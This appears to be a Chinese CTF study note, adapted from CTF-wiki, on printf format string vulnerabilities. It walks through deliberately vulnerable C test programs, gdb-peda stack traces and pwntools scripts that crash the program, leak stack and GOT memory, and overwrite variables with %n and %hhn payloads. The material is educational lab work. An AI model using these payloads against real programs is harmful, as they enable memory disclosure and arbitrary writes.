格式化字符串漏洞原理
格式化字符串函数是根据格式化字符串函数来进行解析的。那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制。比如说’%s’表明我们会输出一个字符串参数。
对于这样的例子,在进入 printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下
some value //未知量
3.14 123456
addr of “red”
addr of format string: Color %s…
在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况
当前字符不是 %,直接输出到相应标准输出。
当前字符是 %, 继续读取下一个字符
如果没有字符,报错
如果下一个字符是 %, 输出 %
否则根据相应的字符,获取相应的参数,对其进行解析并输出
假设编写如下程序:
printf(“Color %s, Number %d, Float %4.2f”);
程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为
1.解析其地址对应的字符串
2.解析其内容对应的整形值
3.解析其内容对应的浮点值
#以上来源于https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr
漏洞利用
1:程序崩溃
因为栈上会有很多权限不足的地址无法进行访问,利用无法访问地址使程序崩溃
一般输入多个%s即可
2:泄露内存
获取某个变量的值,或是某个变量对应的地址
例:
程序如下:
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}
简单编译并将防护关闭:gcc -m32 -fno-stack-protector -no-pie -o test test.c
(32位,关闭栈溢出防护,PIE)
根据 C 语言的调用规则,格式化字符串函数会根据格式化字符串直接使用栈上自顶向上的变量作为其参数 (64 位会根据其传参的规则进行获取)。这里我们主要介绍 32 位。
获取栈变量数值:
%08x.%08x.%08x
00000001.22222222.ffffffff.%08x.%08x.%08x
ff9645f0.f7ee9410.0804849d
以上可以看出我们确实得到了3个16进制的数据。我们用gdb继续深入
首先再printf下断点:
gdb-peda$ b printf
Breakpoint 1 at 0x8048330
继续运行:
gdb-peda$ r
Starting program: /home/hunter/PWN/formal/wiki/test1
%08x.%08x.%08x //我们还是输入%08x.%08x.%08x
回车继续运行,程序停在第一次调用printf处:
=> 0xf7e2db60 <printf>:
call 0xf7f11c79
0xf7e2db65 <printf+5>:
add eax,0x18449b
0xf7e2db6a <printf+10>:
sub esp,0xc
0xf7e2db6d <printf+13>:
mov eax,DWORD PTR [eax-0x7c]
0xf7e2db73 <printf+19>:
lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffcfac --> 0x80484ea (<main+100>: ) //printf函数的返回地址
0004| 0xffffcfb0 --> 0x8048593 ("%08x.%08x.%08x.%s\n") printf函数第一个参数即格式化字符串
0008| 0xffffcfb4 --> 0x1 //变量a的地址 (格式化字符串的第一个参数)
0012| 0xffffcfb8 ("\"\"\"\"\377\377\377\377\320\317\377\377\320\317\377\377\020\364\374\367\235\204\004\b%08x.%08x.%08x") //变量b,我不知道为啥是这么一大串,理论上是0x22222222
0016| 0xffffcfbc --> 0xffffffff //变量c
0020| 0xffffcfc0 --> 0xffffcfd0 ("%08x.%08x.%08x") 该变量是我们输入的格式化字符串对应的地址
0024| 0xffffcfc4 --> 0xffffcfd0 ("%08x.%08x.%08x")
0028| 0xffffcfc8 --> 0xf7fcf410 --> 0x8048278 ("GLIBC_2.0")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0xf7e2db60 in printf
() from /lib32/libc.so.6
gdb-peda$
继续执行:
gdb-peda$ c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x
程序确实输出了每一个变量对应的数值,并停在第二个printf
=> 0xf7e2db60 <printf>: call 0xf7f11c79
0xf7e2db65 <printf+5>:
add eax,0x18449b
0xf7e2db6a <printf+10>: sub esp,0xc
0xf7e2db6d <printf+13>:
mov eax,DWORD PTR [eax-0x7c]
0xf7e2db73 <printf+19>:
lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffcfbc --> 0x80484f9 (<main+115>: add esp,0x10)
0004| 0xffffcfc0 --> 0xffffcfd0 ("%08x.%08x.%08x")
0008| 0xffffcfc4 --> 0xffffcfd0 ("%08x.%08x.%08x")
0012| 0xffffcfc8 --> 0xf7fcf410 --> 0x8048278 ("GLIBC_2.0")
0016| 0xffffcfcc --> 0x804849d (<main+23>: add ebx,0x1b63)
0020| 0xffffcfd0 ("%08x.%08x.%08x")
0024| 0xffffcfd4 (".%08x.%08x")
0028| 0xffffcfd8 ("x.%08x")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0xf7e2db60 in printf ()
from /lib32/libc.so.6
gdb-peda$
此时,由于格式化字符串为 %x%x%x,所以,程序 会将栈上的 0xffffcd04 及其之后的数值分别作为第一,第二,第三个参数按照 int 型进行解析,分别输出:
gdb-peda$ c
Continuing.
ffffcfd0.f7fcf410.0804849d[Inferior 1 (process 9574) exited normally]
想获取栈变量数值,我们一般用%p代替%08x。
这里需要注意的是,并不是每次得到的结果都一样 ,因为栈上的数据会因为每次分配的内存页不同而有所不同,这是因为栈是不对内存页做初始化的。
可以用%n$x来对应栈中第n+1个参数,因为对于printf函数格式化字符串就是栈中第一个参数,而格式化字符串后面的数据就是该格式化字符串内将被替换的参数
gdb再次深入:
Starting program: /home/hunter/PWN/formal/wiki/test1
%3$x
[----------------------------------registers-----------------------------------]
EAX: 0x8048593 ("%08x.%08x.%08x.%s\n")
EBX: 0x804a000 --> 0x8049f14 --> 0x1
ECX: 0x1
EDX: 0xf7fb389c --> 0x0
ESI: 0xf7fb2000 --> 0x1d4d6c
EDI: 0x0
EBP: 0xffffd048 --> 0x0
ESP: 0xffffcfac --> 0x80484ea (<main+100>: add esp,0x20)
EIP: 0xf7e2db60 (<printf>: call 0xf7f11c79)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e2db5b <fprintf+27>: ret
0xf7e2db5c: xchg ax,ax
0xf7e2db5e: xchg ax,ax
=> 0xf7e2db60 <printf>: call 0xf7f11c79
0xf7e2db65 <printf+5>:
add eax,0x18449b
0xf7e2db6a <printf+10>: sub esp,0xc
0xf7e2db6d <printf+13>:
mov eax,DWORD PTR [eax-0x7c]
0xf7e2db73 <printf+19>:
lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffcfac --> 0x80484ea (<main+100>: add esp,0x20)
0004| 0xffffcfb0 --> 0x8048593 ("%08x.%08x.%08x.%s\n") //函数参数1
0008| 0xffffcfb4 --> 0x1 //函数参数2
0012| 0xffffcfb8 ("\"\"\"\"\377\377\377\377\320\317\377\377\320\317\377\377\020\364\374\367\235\204\004\b%3$x") //函数参数3
0016| 0xffffcfbc --> 0xffffffff //函数参数4.。。。。
0020| 0xffffcfc0 --> 0xffffcfd0 ("%3$x")
0024| 0xffffcfc4 --> 0xffffcfd0 ("%3$x")
0028| 0xffffcfc8 --> 0xf7fcf410 --> 0x8048278 ("GLIBC_2.0")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0xf7e2db60 in printf ()
from /lib32/libc.so.6
gdb-peda$
继续:
0xf7e2db60 <printf>: call 0xf7f11c79
0xf7e2db65 <printf+5>:
add eax,0x18449b
0xf7e2db6a <printf+10>: sub esp,0xc
0xf7e2db6d <printf+13>:
mov eax,DWORD PTR [eax-0x7c]
0xf7e2db73 <printf+19>:
lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffcfbc --> 0x80484f9 (<main+115>: add esp,0x10) //第二次调用,返回地址
0004| 0xffffcfc0 --> 0xffffcfd0 ("%3$x") //函参1
0008| 0xffffcfc4 --> 0xffffcfd0 ("%3$x") // 2 (格式化参数1。。。)
0012| 0xffffcfc8 --> 0xf7fcf410 --> 0x8048278 ("GLIBC_2.0") //3
0016| 0xffffcfcc --> 0x804849d (<main+23>: add ebx,0x1b63) //4
0020| 0xffffcfd0 ("%3$x")
0024| 0xffffcfd4 --> 0x0
0028| 0xffffcfd8 --> 0xf7ffd940 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0xf7e2db60 in printf ()
from /lib32/libc.so.6
gdb-peda$
以此判断程序将输出0x804849d:
gdb-peda$ c
Continuing.
804849d[Inferior 1 (process 9897) exited normally]
当然,并不是所有这样的都会正常运行,如果对应的变量不能够被解析为字符串地址,那么,程序就会直接崩溃。
小结:
利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
利用 %s 来获取变量所对应地址的内容,只不过有零截断。
利用 %order$x 来获取指定参数的值,利用 %order$s 来获取指定参数对应地址的内容。
3:泄露任意地址内存
有时候,我们可能会想要泄露某一个 libc 函数的 got 表内容,从而得到其地址,进而获取 libc 版本以及其他函数的地址,这时候,能够完全控制泄露某个指定地址的内存就显得很重要了
一般来说我们所读取的变量值都是在栈上的,因为是某个函数的局部变量。
由于我们可以控制格式化字符串,如果我们知道输出函数调用时我们的格式化字符串是第几个参数就可以构造特定形式来获取某些addr,如:p32(addr)%K$s
我们可以用下面的方法确定参数偏移:
[tag]%p%p%p%p%p%p…
如:
AAAA%p%p%p%p%p%p%p%p
00000001.22222222.ffffffff.AAAA%p%p%p%p%p%p%p%p
AAAA0xff99da800xf7f814100x804849d0x414141410x702570250x702570250x702570250x70257025
所以得到参数位置是5,是格式化字符串的第4个参数
现在我们可以来访问某些函数的地址如scanf函数,首先找到其got地址
利用pwntools得:
from pwn import*
sh = process("test1")
elf = ELF("test1")
scanf_got = elf.got['__isoc99_scanf']
print hex(scanf_got)
payload = p32(scanf_got) + '%4$s'
print payload
gdb.attach(sh) //进一步调试
sh.sendline(payload)
sh.recvuntil("%4$s\n")
print hex(u32(sh.recv()[4:8]))
sh.interactive()
在脚本启动gdb后先finih直到main函数然后在printf下断点。
=> 0xf7e25b60 <printf>: call 0xf7f09c79
0xf7e25b65 <printf+5>:
add eax,0x18449b
0xf7e25b6a <printf+10>: sub esp,0xc
0xf7e25b6d <printf+13>:
mov eax,DWORD PTR [eax-0x7c]
0xf7e25b73 <printf+19>:
lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffefdd2c --> 0x80484ea (<main+100>: add esp,0x20)
0004| 0xffefdd30 --> 0x8048593 ("%08x.%08x.%08x.%s\n")
0008| 0xffefdd34 --> 0x1
0012| 0xffefdd38 ("\"\"\"\"\377\377\377\377P\335\357\377P\335\357\377\020t\374\367\235\204\004\b\024\240\004\b%4$s")
0016| 0xffefdd3c --> 0xffffffff
0020| 0xffefdd40 --> 0xffefdd50 --> 0x804a014 --> 0xf7e38410 (<__isoc99_scanf>: push ebp)
0024| 0xffefdd44 --> 0xffefdd50 --> 0x804a014 --> 0xf7e38410 (<__isoc99_scanf>: push ebp)
0028| 0xffefdd48 --> 0xf7fc7410 --> 0x8048278 ("GLIBC_2.0")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0xf7e25b60 in printf ()
from /lib32/libc.so.6
gdb-peda$
可以看到第4个参数确实是scanf的在libc库中的地址
在调试结束后的terminal可以得到scanf的地址:
0x804a014
\x14\x04%4$s
[*] running in new terminal: /usr/bin/gdb -q "./test1" 11351 -x "/tmp/pwn7ki8h7.gdb"
[+] Waiting for debugger: Done
0xf7d5e410
[*] Switching to interactive mode
[*] Process './test1' stopped with exit code 0 (pid 11351)
[*] Got EOF while reading in interactive
$
有时候,我们需要对我们输入的格式化字符串进行填充,来使得我们想要打印的地址内容的地址位于机器字(32位4,64位8)长整数倍的地址处,一般来说,类似于下面的这个样子。
[padding][addr][padding]
4:内存覆盖
只要变量对应的地址可写,我们就可以利用格式化字符串来修改其对应的数值:%n,
%n不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量
程序:
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}
基本构造格式如下:
…[overwrite addr]….%[overwrite offset]$n
其中… 表示我们的填充内容,overwrite addr 表示我们所要覆盖的地址,overwrite offset 地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数
步骤:
确定覆盖地址
确定相对偏移
进行覆盖
确定覆盖地址:首先,我们自然是来想办法知道栈变量 c 的地址。由于目前几乎上所有的程序都开启了 aslr 保护,所以栈的地址一直在变,所以我们这里故意输出了 c 变量的地址。
确定相对偏移:其次,我们来确定一下存储格式化字符串的地址是 printf 将要输出的第几个参数 ()
hunter@hunter:~/PWN/formal/wiki$ ./test2
0xffebe8ac
AAAA%p%p%p%p%p%p%p%p%p
AAAA0xffebe8480xf7ef14100x80484bd(nil)0x10x414141410x702570250x702570250x70257025
所以是第7 个参数 =》 n为6
进行覆盖:
将c的地址放在n=6,然后利用%n来修改c的值
[addr of c]%012d%6$n //addr of c 的长度为 4,故而我们得再输入 12 个字符才可以达到 16 个字符,以便于来修改 c 的值为 16。
注意:如果地址没有在或者不能放在第一个位置时,要注意我们的地址作为printf的参数是第几个
Exp:
sh = process('test2')
c_addr = int(sh.recvuntil('\n', drop=True), 16) #drop :是否保留
print hex(c_addr)
payload = p32(c_addr) + '%012d' + '%6$n'
print payload
#gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()
覆盖小数字:
下面的问题是将a改为2 因为a是全局变量,在data段地址可从ida获取
这里以 2 为例。可能会觉得这其实没有什么区别,可仔细一想,真的没有么?如果我们还是将要覆盖的地址放在最前面,那么将直接占用机器字长个 (4 或 8) 字节。显然,无论之后如何输出,都只会比 4 大。 (或许我们可以使用整形溢出来修改对应的地址的值,但是这样将面临着我们得一次输出大量的内容。而这,一般情况下,基本都不会攻击成功。)
我们当时只是为了寻找偏移,所以才把 tag 放在字符串的最前面,如果我们把 tag 放在中间,其实也是无妨的。类似的,我们把地址放在中间,只要能够找到对应的偏移,其照样也可以得到对应的数值。前面已经说了我们的格式化字符串的为第 6 个参数。由于我们想要把 2 写到对应的地址处,故而格式化字符串的前面的字节必须是:aa%k$naa 刚好占8字节所以我们的地址被挤到第n=8个参数
利用 ida 可以得到 a 的地址为 0x0804A024(由于 a、b 是已初始化的全局变量,因此不在堆栈中)。
.data:0804A024 public a
.data:0804A024 a dd 7Bh
故而我们可以构造如下的利用代码
sh = process('test2')
a_addr = 0x0804A024
payload = 'aa%8$naa' + p32(a_addr)
sh.sendline(payload)
print sh.recv()
sh.interactive()
其实,这里我们需要掌握的小技巧就是,我们没有必要必须把地址放在最前面,放在那里都可以,只要我们可以找到其对应的偏移即可。
覆盖大数字
我们得先再简单了解一下,变量在内存中的存储格式。首先,所有的变量在内存中都是以字节进行存储的。此外,在 x86 和 x64 的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址。举个例子,0x12345678 在内存中由低地址到高地址依次为 \ x78\x56\x34\x12
首先,我们还是要确定的是要覆盖的地址为多少,利用 ida 看一下,可以发现地址为 0x0804A028。
.data:0804A028 public b
.data:0804A028 b dd 1C8h ; DATA XREF: main:loc_8048510r
即我们希望将按照如下方式进行覆盖,前面为覆盖地址,后面为覆盖内容。
0x0804A028 \x78
0x0804A029 \x56
0x0804A02a \x34
0x0804A02b \x12
这里将构造一个推算代码:(本人不懂)
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)
offset 表示要覆盖的地址最初的偏移
size 表示机器字长
addr 表示将要覆盖的地址。
target 表示我们要覆盖为的目的变量值。
这其实就是pwntools的一个模块:当要写入很大的数时可以用pwntools的fmtstr模块:我们希望向0x08048000写入值0x10203040,在pwntools里,我们可以用命令fmtstr_payload。
payload = fmtstr_payload(6,{0x08048000:0x10203040}) // 即可 , 6是偏移量。